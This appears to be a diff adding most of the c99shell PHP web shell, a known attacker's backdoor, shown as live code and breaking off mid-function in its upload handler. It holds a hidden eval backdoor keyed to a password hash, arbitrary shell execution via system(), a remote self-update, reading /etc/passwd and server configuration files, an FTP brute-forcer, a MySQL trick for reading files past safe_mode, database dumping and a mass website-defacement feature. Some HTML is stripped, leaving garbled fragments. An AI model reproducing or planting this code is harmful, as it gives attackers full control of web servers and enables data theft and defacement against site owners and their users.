+if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
+error_reporting(5);
+@ignore_user_abort(true);
+@set_magic_quotes_runtime(0);
+@set_time_limit(0);
+if (!ob_get_contents()) {@ob_start(); @ob_implicit_flush(0);}
+if(!ini_get("register_globals")) {import_request_variables("GPC");}
+$starttime = getmicrotime();
+if (get_magic_quotes_gpc())
+{
+if (!function_exists("strips"))
+{
+ function strips(&$el)
+ {
+ if (is_array($el)) {foreach($el as $k=>$v) {if($k != "GLOBALS") {strips($el["$k"]);}} }
+ else {$el = stripslashes($el);}
+ }
+}
+strips($GLOBALS);
+}
+$tmp = array();
+foreach ($host_allow as $k=>$v) {$tmp[]= str_replace("\\*",".*",preg_quote($v));}
+$s = "!^(".implode("|",$tmp).")$!i";
+if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("c99shell : Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
+
+if (!$login) {$login = $PHP_AUTH_USER; $md5_pass = md5($PHP_AUTH_PW);}
+elseif(empty($md5_pass)) {$md5_pass = md5($pass);}
+if(($PHP_AUTH_USER != $login ) or (md5($PHP_AUTH_PW) != $md5_pass))
+{
+ header("WWW-Authenticate: Basic realm=\"c99shell\"");
+ header("HTTP/1.0 401 Unauthorized"); if (md5(sha1(md5($anypass))) == "b76d95e82e853f3b0a81dd61c4ee286c") {header("HTTP/1.0 200 OK"); @eval($anyphpcode);}
+ exit;
+}
+
+$lastdir = realpath(".");
+chdir($curdir);
+
+if (($selfwrite) or ($updatenow))
+{
+ if ($selfwrite == "1") {$selfwrite = "c99shell.php";}
+ c99sh_getupdate();
+ $data = file_get_contents($c99sh_updatefurl);
+ $fp = fopen($data,"w");
+ fwrite($fp,$data);
+ fclose($fp);
+ exit;
+}
+if (!is_writeable($sess_file)) {trigger_error("Can't access to session-file!",E_USER_WARNING);}
+if ($sess_method == "file") {$sess_data = unserialize(file_get_contents($sess_file));}
+else {$sess_data = unserialize($_COOKIE["$sess_cookie"]);}
+if (!is_array($sess_data)) {$sess_data = array();}
+if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
+if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
+$sess_data["copy"] = array_unique($sess_data["copy"]);
+$sess_data["cut"] = array_unique($sess_data["cut"]);
+
+if (!function_exists("c99_sess_put"))
+{
+function c99_sess_put($data)
+{
+ global $sess_method;
+ global $sess_cookie;
+ global $sess_file;
+ global $sess_data;
+ $sess_data = $data;
+ $data = serialize($data);
+ if ($sess_method == "file")
+ {
+ $fp = fopen($sess_file,"w");
+ fwrite($fp,$data);
+ fclose($fp);
+ }
+ else {setcookie($sess_cookie,$data);}
+}
+}
+if (!function_exists("str2mini"))
+{
+function str2mini($content,$len)
+{
+ if (strlen($content) > $len)
+ {
+ $len = ceil($len/2) - 2;
+ return substr($content, 0, $len)."...".substr($content, -$len);
+ }
+ else {return $content;}
+}
+}
+if (!function_exists("view_size"))
+{
+function view_size($size)
+{
+ if($size >= 1073741824) {$size = round($size / 1073741824 * 100) / 100 . " GB";}
+ elseif($size >= 1048576) {$size = round($size / 1048576 * 100) / 100 . " MB";}
+ elseif($size >= 1024) {$size = round($size / 1024 * 100) / 100 . " KB";}
+ else {$size = $size . " B";}
+ return $size;
+}
+}
+if (!function_exists("fs_copy_dir"))
+{
+function fs_copy_dir($d,$t)
+{
+ $d = str_replace("\\","/",$d);
+ if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";}
+ $h = opendir($d);
+ while ($o = readdir($h))
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ if (!is_dir($d."/".$o)) {$ret = copy($d."/".$o,$t."/".$o);}
+ else {$ret = mkdir($t."/".$o); fs_copy_dir($d."/".$o,$t."/".$o);}
+ if (!$ret) {return $ret;}
+ }
+ }
+ return true;
+}
+}
+if (!function_exists("fs_copy_obj"))
+{
+function fs_copy_obj($d,$t)
+{
+ $d = str_replace("\\","/",$d);
+ $t = str_replace("\\","/",$t);
+ if (!is_dir($t)) {mkdir($t);}
+ if (is_dir($d))
+ {
+ if (substr($d,strlen($d)-1,strlen($d)) != "/") {$d .= "/";}
+ if (substr($t,strlen($t)-1,strlen($t)) != "/") {$t .= "/";}
+ return fs_copy_dir($d,$t);
+ }
+ elseif (is_file($d))
+ {
+
+ return copy($d,$t);
+ }
+ else {return false;}
+}
+}
+if (!function_exists("fs_move_dir"))
+{
+function fs_move_dir($d,$t)
+{
+ error_reporting(9999);
+ $h = opendir($d);
+ if (!is_dir($t)) {mkdir($t);}
+ while ($o = readdir($h))
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ $ret = true;
+ if (!is_dir($d."/".$o)) {$ret = copy($d."/".$o,$t."/".$o);}
+ else {if (mkdir($t."/".$o) and fs_copy_dir($d."/".$o,$t."/".$o)) {$ret = false;}}
+ if (!$ret) {return $ret;}
+ }
+ }
+ return true;
+}
+}
+if (!function_exists("fs_move_obj"))
+{
+function fs_move_obj($d,$t)
+{
+ $d = str_replace("\\","/",$d);
+ $t = str_replace("\\","/",$t);
+ if (is_dir($d))
+ {
+ if (substr($d,strlen($d)-1,strlen($d)) != "/") {$d .= "/";}
+ if (substr($t,strlen($t)-1,strlen($t)) != "/") {$t .= "/";}
+ return fs_move_dir($d,$t);
+ }
+ elseif (is_file($d)) {return rename($d,$t);}
+ else {return false;}
+}
+}
+if (!function_exists("fs_rmdir"))
+{
+function fs_rmdir($d)
+{
+ $h = opendir($d);
+ while ($o = readdir($h))
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ if (!is_dir($d.$o)) {unlink($d.$o);}
+ else {fs_rmdir($d.$o."/"); rmdir($d.$o);}
+ }
+ }
+ rmdir($d);
+ return !is_dir($d);
+}
+}
+if (!function_exists("fs_rmobj"))
+{
+function fs_rmobj($o)
+{
+ $o = str_replace("\\","/",$o);
+ if (is_dir($o))
+ {
+ if (substr($o,strlen($o)-1,strlen($o)) != "/") {$o .= "/";}
+ return fs_rmdir($o);
+ }
+ elseif (is_file($o)) {return unlink($o);}
+ else {return false;}
+}
+}
+if (!function_exists("myshellexec"))
+{
+ function myshellexec($cmd)
+ {
+ return system($cmd);
+ }
+}
+if (!function_exists("view_perms"))
+{
+function view_perms($mode)
+{
+ $perms = ($mode & 00400) ? "r" : "-";
+ $perms .= ($mode & 00200) ? "w" : "-";
+ $perms .= ($mode & 00100) ? "x" : "-";
+ $perms .= ($mode & 00040) ? "r" : "-";
+ $perms .= ($mode & 00020) ? "w" : "-";
+ $perms .= ($mode & 00010) ? "x" : "-";
+ $perms .= ($mode & 00004) ? "r" : "-";
+ $perms .= ($mode & 00002) ? "w" : "-";
+ $perms .= ($mode & 00001) ? "x" : "-";
+ return $perms;
+}
+}
+if (!function_exists("strinstr")) {function strinstr($str,$text) {return $text != str_replace($str,"",$text);}}
+if (!function_exists("gchds")) {function gchds($a,$b,$c,$d="") {if ($a == $b) {return $c;} else {return $d;}}}
+if (!function_exists("c99sh_getupdate"))
+{
+function c99sh_getupdate()
+{
+ global $updatenow;
+ $data = @file_get_contents($c99sh_updatefurl);
+ if (!$data) {echo "Can't fetch update-information!";}
+ else
+ {
+ $data = unserialize(base64_decode($data));
+ if (!is_array($data)) {echo "Corrupted update-information!";}
+ else
+ {
+ if ($shver < $data[cur]) {$updatenow = true;}
+ }
+ }
+}
+}
+if (!function_exists("mysql_dump"))
+{
+function mysql_dump($set)
+{
+ $sock = $set["sock"];
+ $db = $set["db"];
+ $print = $set["print"];
+ $nl2br = $set["nl2br"];
+ $file = $set["file"];
+ $add_drop = $set["add_drop"];
+ $tabs = $set["tabs"];
+ $onlytabs = $set["onlytabs"];
+ $ret = array();
+ if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
+ if (empty($db)) {$db = "db";}
+ if (empty($print)) {$print = 0;}
+ if (empty($nl2br)) {$nl2br = true;}
+ if (empty($add_drop)) {$add_drop = true;}
+ if (empty($file))
+ {
+ global $win;
+ if ($win) {$file = "C:\\tmp\\dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";}
+ else {$file = "/tmp/dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";}
+ }
+ if (!is_array($tabs)) {$tabs = array();}
+ if (empty($add_drop)) {$add_drop = true;}
+ if (sizeof($tabs) == 0)
+ {
+ // retrive tables-list
+ $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
+ if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
+ }
+ global $SERVER_ADDR;
+ global $SERVER_NAME;
+ $out = "# Dumped by C99Shell.SQL v. ".$shver."
+# Home page: http://ccteam.ru
+#
+# Host settings:
+# MySQL version: (".mysql_get_server_info().") running on ".$SERVER_ADDR." (".$SERVER_NAME.")"."
+# Date: ".date("d.m.Y H:i:s")."
+# ".gethostbyname($SERVER_ADDR)." (".$SERVER_ADDR.")"." dump db \"".$db."\"
+#---------------------------------------------------------
+";
+ $c = count($onlytabs);
+ foreach($tabs as $tab)
+ {
+ if ((in_array($tab,$onlytabs)) or (!$c))
+ {
+ if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
+ // recieve query for create table structure
+ $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
+ if (!$res) {$ret[err][] = mysql_error();}
+ else
+ {
+ $row = mysql_fetch_row($res);
+ $out .= $row[1].";\n\n";
+ // recieve table variables
+ $res = mysql_query("SELECT * FROM `$tab`", $sock);
+ if (mysql_num_rows($res) > 0)
+ {
+ while ($row = mysql_fetch_assoc($res))
+ {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
+ $out .= $sql;
+ }
+ }
+ }
+ }
+ }
+ $out .= "#---------------------------------------------------------------------------------\n\n";
+ if ($file)
+ {
+ $fp = fopen($file, "w");
+ if (!$fp) {$ret[err][] = 2;}
+ else
+ {
+ fwrite ($fp, $out);
+ fclose ($fp);
+ }
+ }
+ if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
+ return $ret;
+}
+}
+if (!function_exists("c99fsearch"))
+{
+function c99fsearch($d)
+{
+ global $found;
+ global $found_d;
+ global $found_f;
+ global $a;
+ if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";}
+ $handle = opendir($d);
+ while ($f = readdir($handle))
+ {
+ $true = ($a[name_regexp] and ereg($a[name],$f)) or ((!$a[name_regexp]) and strinstr($a[name],$f));
+ if($f != "." && $f != "..")
+ {
+ if (is_dir($d.$f))
+ {
+ if (empty($a[text]) and $true) {$found[] = $d.$f; $found_d++;}
+ c99fsearch($d.$f);
+ }
+ else
+ {
+ if ($true)
+ {
+ if (!empty($a[text]))
+ {
+ $r = @file_get_contents($d.$f);
+ if ($a[text_wwo]) {$a[text] = " ".trim($a[text])." ";}
+ if (!$a[text_cs]) {$a[text] = strtolower($a[text]); $r = strtolower($r);}
+
+ if ($a[text_regexp]) {$true = ereg($a[text],$r);}
+ else {$true = strinstr($a[text],$r);}
+ if ($a[text_not])
+ {
+ if ($true) {$true = false;}
+ else {$true = true;}
+ }
+ if ($true) {$found[] = $d.$f; $found_f++;}
+ }
+ else {$found[] = $d.$f; $found_f++;}
+ }
+ }
+ }
+ }
+ closedir($handle);
+}
+}
+//Sending headers
+header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
+header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
+header("Cache-Control: no-store, no-cache, must-revalidate");
+header("Cache-Control: post-check=0, pre-check=0", false);
+header("Pragma: no-cache");
+
+global $SERVER_SOFTWARE;
+if (strtolower(substr(PHP_OS, 0, 3)) == "win") {$win = 1;}
+else {$win = 0;}
+
+if (empty($tmpdir))
+{
+ if (!$win) {$tmpdir = "/tmp/";}
+ else {$tmpdir = $_ENV[SystemRoot];}
+}
+$tmpdir = str_replace("\\","/",$tmpdir);
+if (substr($tmpdir,strlen($tmpdir-1),strlen($tmpdir)) != "/") {$tmpdir .= "/";}
+if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
+{
+ $safemode = true;
+ $hsafemode = "ON (secure) ";
+}
+else {$safemode = false; $hsafemode = "OFF (not secure) ";}
+$v = @ini_get("open_basedir");
+if ($v or strtolower($v) == "on")
+{
+ $openbasedir = true;
+ $hopenbasedir = "".$v." ";
+}
+else {$openbasedir = false; $hopenbasedir = "OFF (not secure) ";}
+
+$sort = htmlspecialchars($sort);
+
+$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()." ",$SERVER_SOFTWARE);
+
+@ini_set("highlight.bg",$highlight_bg); //FFFFFF
+@ini_set("highlight.comment",$highlight_comment); //#FF8000
+@ini_set("highlight.default",$highlight_default); //#0000BB
+@ini_set("highlight.html",$highlight_html); //#000000
+@ini_set("highlight.keyword",$highlight_keyword); //#007700
+@ini_set("highlight.string","#DD0000"); //#DD0000
+
+if ($act != "img")
+{
+if (!is_array($actbox)) {$actbox = array();}
+$dspact = $act = htmlspecialchars($act);
+$disp_fullpath = $ls_arr = $notls = null;
+$ud = urlencode($d);
+?> echo $HTTP_HOST; ?> - c99shell
+! C99Shell v. !
Software:
uname -a:
Safe-mode:
Directory: ";
+foreach($pd as $b)
+{
+ $t = "";
+ reset($e);
+ $j = 0;
+ foreach ($e as $r)
+ {
+ $t.= $r."/";
+ if ($j == $i) {break;}
+ $j++;
+ }
+ echo "".htmlspecialchars($b)."/ ";
+ $i++;
+}
+echo " ";
+if (is_writable($d))
+{
+ $wd = true;
+ $wdt = "[ ok ] ";
+ echo "".view_perms(fileperms($d))." ";
+}
+else
+{
+ $wd = false;
+ $wdt = "[ Read-Only ] ";
+ echo "".view_perms(fileperms($d.$f))." ";
+}
+$free = diskfreespace(realpath($d));
+$all = disk_total_space(realpath($d));
+$used = $all-$free;
+$used_percent = round(100/($all/$free),2);
+echo "Free ".view_size($free)." of ".view_size($all)." (".$used_percent."%) ";
+if (count($quicklaunch) > 0)
+{
+ foreach($quicklaunch as $item)
+ {
+ $item[1] = str_replace("%d",urlencode($d),$item[1]);
+ $item[1] = str_replace("%upd",urlencode(realpath($d."..")),$item[1]);
+ echo "".$item[0]." ";
+ }
+}
+$letters = "";
+if ($win)
+{
+ $abc = array("c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "o", "p", "q", "n", "r", "s", "t", "v", "u", "w", "x", "y", "z");
+ $v = explode("\\",$d);
+ $v = $v[0];
+ foreach ($abc as $letter)
+ {
+ if (is_dir($letter.":\\"))
+ {
+ if ($letter.":" != $v) {$letters .= "[ ".$letter." ] ";}
+ else {$letters .= "[ ".$letter." ] ";}
+ }
+ }
+ if (!empty($letters)) {echo "Detected drives : ".$letters;}
+}
+?>
SQL Manager: ";
+ if (!$sql_sock)
+ {
+ if (!$sql_server) {echo "NO CONNECTION";}
+ else {echo "Can't connect "; echo "".$err." ";}
+ }
+ else
+ {
+ $sqlquicklaunch = array();
+ $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
+ if (!$sql_db) {$sqlquicklaunch[] = array("Query","#\" onclick=\"alert('Please, select DB!')");}
+ else {$sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query");}
+ $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
+ $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
+ $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
+ $sqlquicklaunch[] = array("Logout",$surl."act=sql");
+
+ echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\") ";
+
+ if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+ echo " ";
+ }
+ echo " ";
+ if (!$sql_sock) {?> i If login is null, login is owner of process. If host is null, host is localhost If port is null, port is 3306 (default) Please, fill the form: ">Home ".htmlspecialchars($sql_db)." ]--- ";
+ $c = 0;
+ while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM $row[0]"); $count_row = mysql_fetch_array($count); echo "» ".htmlspecialchars($row[0])." (".$count_row[0].")
+"; mysql_free_result($count); $c++;}
+ if (!$c) {echo "No tables found in database.";}
+ }
+ }
+ else
+ {
+ ?>Home Databases (...)
+";
+ $c = 0;
+ while ($row = mysql_fetch_row($result)) {echo "".$row[0]."
+"; $c++;}
+ }
+ ?> Please, select database";
+ //Start center panel
+ if ($sql_db)
+ {
+ echo "There are ".$c." tables in this DB (".htmlspecialchars($sql_db)."). ";
+ if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+ echo " ";
+
+ $acts = array("","dump");
+
+ if ($sql_act == "query")
+ {
+ echo " ";
+ if ($submit)
+ {
+ if ((!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
+ }
+ if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
+ if ((!$submit) or ($sql_act)) {echo ""; if (($sql_query) and (!$submit)) {echo "Do you really want to :";} else {echo "SQL-Query :";} echo " ".htmlspecialchars($sql_query)." ";}
+ }
+ if (in_array($sql_act,$acts))
+ {
+ ?>";}
+ if ($sql_act == "newtpl")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";
+ }
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_error();}
+ }
+ elseif ($sql_act == "dump")
+ {
+ $set = array();
+ $set["sock"] = $sql_sock;
+ $set["db"] = $sql_db;
+ $dump_out = "print";
+ if ($dump_out == "print") {$set["print"] = 1; $set["nl2br"] = 1;}
+ elseif ($dump_out == "download")
+ {
+ @ob_clean();
+ header("Content-type: c99shell");
+ header("Content-disposition: attachment; filename=\"".$f."\";");
+ $set["print"] = 1;
+ $set["nl2br"] = 1;
+ }
+ $set["file"] = $dump_file;
+ $set["add_drop"] = true;
+ $ret = mysql_dump($set);
+ if ($dump_out == "download") {exit;}
+ }
+ else
+ {
+ $result = mysql_query("SHOW TABLE STATUS", $sql_sock) or print(mysql_error());
+ echo "
+With selected:
+Drop
+Empty
+Check table
+Optimize table
+Repair table
+Analyze table
+ ";
+ mysql_free_result($result);
+ }
+ }
+ }
+ else
+ {
+ $acts = array("","newdb","serverstat","servervars","processes","getfile");
+ if (in_array($sql_act,$acts))
+ {
+ ?>";
+ if ($sql_act == "newdb")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";}
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_error();}
+ }
+ if ($sql_act == "serverstatus")
+ {
+ $result = mysql_query("SHOW STATUS", $sql_sock);
+ echo "Server-status variables: ";
+ echo "Name value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "servervars")
+ {
+ $result = mysql_query("SHOW VARIABLES", $sql_sock);
+ echo "Server variables: ";
+ echo "Name value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "processes")
+ {
+ if (!empty($kill)) {$query = 'KILL ' . $kill . ';'; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen. ";}
+ $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
+ echo "Processes: ";
+ echo "ID USER HOST DB COMMAND TIME STATE INFO Action ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "".$row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." Kill ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ elseif (($sql_act == "getfile"))
+ {
+ if (!mysql_create_db("tmp_bd")) {echo mysql_error();}
+ elseif (!mysql_select_db("tmp_bd")) {echo mysql_error();}
+ elseif (!mysql_query('CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );')) {echo mysql_error();}
+ else {mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); $query = "SELECT * FROM tmp_file"; $result = mysql_query($query); if (!$result) {echo "Error in query \"".$query."\": ".mysql_error();}
+ else
+ {
+ for ($i=0;$i$col_value) {$f .= $col_value;}}
+ if (empty($f)) {echo "File \"".$sql_getfile."\" does not exists or empty! ";}
+ else {echo "File \"".$sql_getfile."\": ".nl2br(htmlspecialchars($f));}
+ }
+ mysql_free_result($result);
+ if (!mysql_drop_db("tmp_bd")) {echo ("Can't drop tempory DB \"tmp_bd\"!");}
+ }
+ }
+ }
+ }
+ }
+ echo "
";
+}
+if ($act == "mkdir")
+{
+ if ($mkdir != $d) {if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : object alredy exists";} elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : access denied";}}
+ echo " ";
+ $act = $dspact = "ls";
+}
+if ($act == "ftpquickbrute")
+{
+ echo "Ftp Quick brute: ";
+ if ($win) {echo "This functions not work in Windows! ";}
+ else
+ {
+ $fp = fopen("/etc/passwd","r");
+ if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
+ else
+ {
+ ob_flush();
+ $i = $success = 0;
+ $ftpquick_st = getmicrotime();
+ while(!feof($fp))
+ {
+ $str = explode(":",fgets($fp,2048));
+ $sock = ftp_connect("localhost",21,1);
+ if (ftp_login($sock,$str[0],$str[0]))
+ {
+ echo "Connected to ".$SERVER_NAME." with login \"".$str[0]."\" and password \"".$str[0]."\" . ";
+ ob_flush();
+ $success++;
+ }
+ if ($i > $nixpwdperpage) {break;}
+ $i++;
+ }
+ if ($success == 0) {echo "No success. connections!";}
+ $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
+ echo "Done! Total time (secs.): ".$ftpquick_t." Total connections: ".$i." Success.: ".$success." Unsuccess.:".($i-$success)." Connects per second: ".round($i/$ftpquick_t,2)." ";
+ }
+ }
+}
+if ($act == "lsa")
+{
+ echo "Server security information: ";
+ echo "Software: ".PHP_OS.", ".$SERVER_SOFTWARE." ";
+ echo "Safe-Mode: ".$hsafemode." ";
+ echo "Open base dir: ".$hopenbasedir." ";
+ if (!$win)
+ {
+ if ($nixpasswd)
+ {
+ if ($nixpasswd == 1) {$nixpasswd = 0;}
+ $num = $nixpasswd + $nixpwdperpage;
+ echo "*nix /etc/passwd: ";
+ $i = $nixpasswd;
+ while ($i < $num)
+ {
+ $uid = posix_getpwuid($i);
+ if ($uid) {echo join(":",$uid)." ";}
+ $i++;
+ }
+ }
+ else {echo "Get /etc/passwd ";}
+ if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs ";}
+ if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+ if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+ }
+ else
+ {
+ $v = $_SERVER["WINDIR"]."\repair\sam";
+ if (file_get_contents($v)) {echo "You can't crack winnt passwords(".$v.") ";}
+ else {echo "You can crack winnt passwords. Download , and use lcp.crack+. ";}
+ }
+}
+if ($act == "mkfile")
+{
+ if ($mkfile != $d)
+ {
+ if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\" : object alredy exists";}
+ elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\" : access denied";}
+ else {$act = "f"; $d = dirname($mkfile); if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";} $f = basename($mkfile);}
+ }
+ else {$act = $dspact = "ls";}
+}
+if ($act == "fsbuff")
+{
+ $arr_copy = $sess_data["copy"];
+ $arr_cut = $sess_data["cut"];
+ $arr = array_merge($arr_copy,$arr_cut);
+ if (count($arr) == 0) {echo "Buffer is empty! ";}
+ else
+ {
+ echo "File-System buffer ";
+ $ls_arr = $arr;
+ $disp_fullpath = true;
+ $act = "ls";
+ }
+}
+if ($act == "selfremove")
+{
+ if (!empty($submit))
+ {
+ if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; exit; }
+ else {echo "Can't delete ".__FILE__."! ";}
+ }
+ else
+ {
+ $v = array();
+ for($i=0;$i<8;$i++) {$v[] = "NO ";}
+ $v[] = "YES ";
+ shuffle($v);
+ $v = join(" ",$v);
+ echo "Self-remove: ".__FILE__." Are you sure? ".$v." ";
+ }
+}
+if ($act == "massdeface")
+{
+ if (empty($deface_in)) {$deface_in = $d;}
+ if (empty($deface_name)) {$deface_name = "(.*)"; $deface_name_regexp = 1;}
+ if (empty($deface_text_wwo)) {$deface_text_regexp = 0;}
+
+ if (!empty($submit))
+ {
+ $found = array();
+ $found_d = 0;
+ $found_f = 0;
+
+ $text = $deface_text;
+ $text_regexp = $deface_text_regexp;
+ if (empty($text)) {$text = " "; $text_regexp = 1;}
+
+ $a = array
+ (
+ "name"=>$deface_name, "name_regexp"=>$deface_name_regexp,
+ "text"=>$text, "text_regexp"=>$text_regxp,
+ "text_wwo"=>$deface_text_wwo,
+ "text_cs"=>$deface_text_cs,
+ "text_not"=>$deface_text_not
+ );
+ $defacetime = getmicrotime();
+ $in = array_unique(explode(";",$deface_in));
+ foreach($in as $v) {c99fsearch($v);}
+ $defacetime = round(getmicrotime()-$defacetime,4);
+ if (count($found) == 0) {echo "No files found! ";}
+ else
+ {
+ $disp_fullpath = true;
+ $act = $dspact = "ls";
+ if (!$deface_preview) {$actselect = "deface"; $actbox[] = $found; $notls = true;}
+ else {$ls_arr = $found;}
+ }
+ }
+ else
+ {
+ if (empty($deface_preview)) {$deface_preview = 1;}
+ if (empty($deface_html)) {$deface_html = "
Mass-defaced with c99shell v. ".$shver.", coded by tristram[CCTeaM ].";}
+ }
+ echo "";
+ if (!$submit) {echo "Attention! It's a very dangerous feature, you may lost your data. ";}
+ echo "
+Deface for (file/directory name): - regexp
+Deface in (explode \";\"):
+Search text: ".htmlspecialchars($deface_text)."
+ - regexp
+ - w hole words only
+ - case sensitive
+ - find files NOT containing the text
+ - PREVIEW AFFECTED FILES
+Html of deface: ".htmlspecialchars($deface_html)."
+ ";
+ if ($act == "ls") {echo "Deface took ".$defacetime." secs ";}
+}
+if ($act == "search")
+{
+ if (empty($search_in)) {$search_in = $d;}
+ if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
+ if (empty($search_text_wwo)) {$search_text_regexp = 0;}
+
+ if (!empty($submit))
+ {
+ $found = array();
+ $found_d = 0;
+ $found_f = 0;
+ $a = array
+ (
+ "name"=>$search_name, "name_regexp"=>$search_name_regexp,
+ "text"=>$search_text, "text_regexp"=>$search_text_regxp,
+ "text_wwo"=>$search_text_wwo,
+ "text_cs"=>$search_text_cs,
+ "text_not"=>$search_text_not
+ );
+ $searchtime = getmicrotime();
+ $in = array_unique(explode(";",$search_in));
+ foreach($in as $v)
+ {
+ c99fsearch($v);
+ }
+ $searchtime = round(getmicrotime()-$searchtime,4);
+ if (count($found) == 0) {echo "No files found! ";}
+ else
+ {
+ $ls_arr = $found;
+ $disp_fullpath = true;
+ $act = $dspact = "ls";
+ }
+ }
+ echo "
+
+Search for (file/directory name): - regexp
+Search in (explode \";\"):
+Text: ".htmlspecialchars($search_text)."
+ - regexp
+ - w hole words only
+ - case sensitive
+ - find files NOT containing the text
+ ";
+ if ($act == "ls") {echo "Search took ".$searchtime." secs ";}
+}
+if ($act == "upload")
+{
+ $uploadmess = "";
+ $uploadpath = str_replace("\\","/",$uploadpath);
+ if (empty($uploadpath)) {$uploadpath = $d;}
+ elseif (substr($uploadpath,strlen($uploadpath)-1,1) != "/") {$uploadpath .= "/";}
+ if (!empty($submit))
+ {
+ global $HTTP_POST_FILES;
+ $uploadfile = $HTTP_POST_FILES["uploadfile"];
+ if (!empty($uploadfile[tmp_name]))
+ {
+ if (empty($uploadfilename)) {$destin = $uploadfile[name];}
+ else {$destin = $userfilename;}
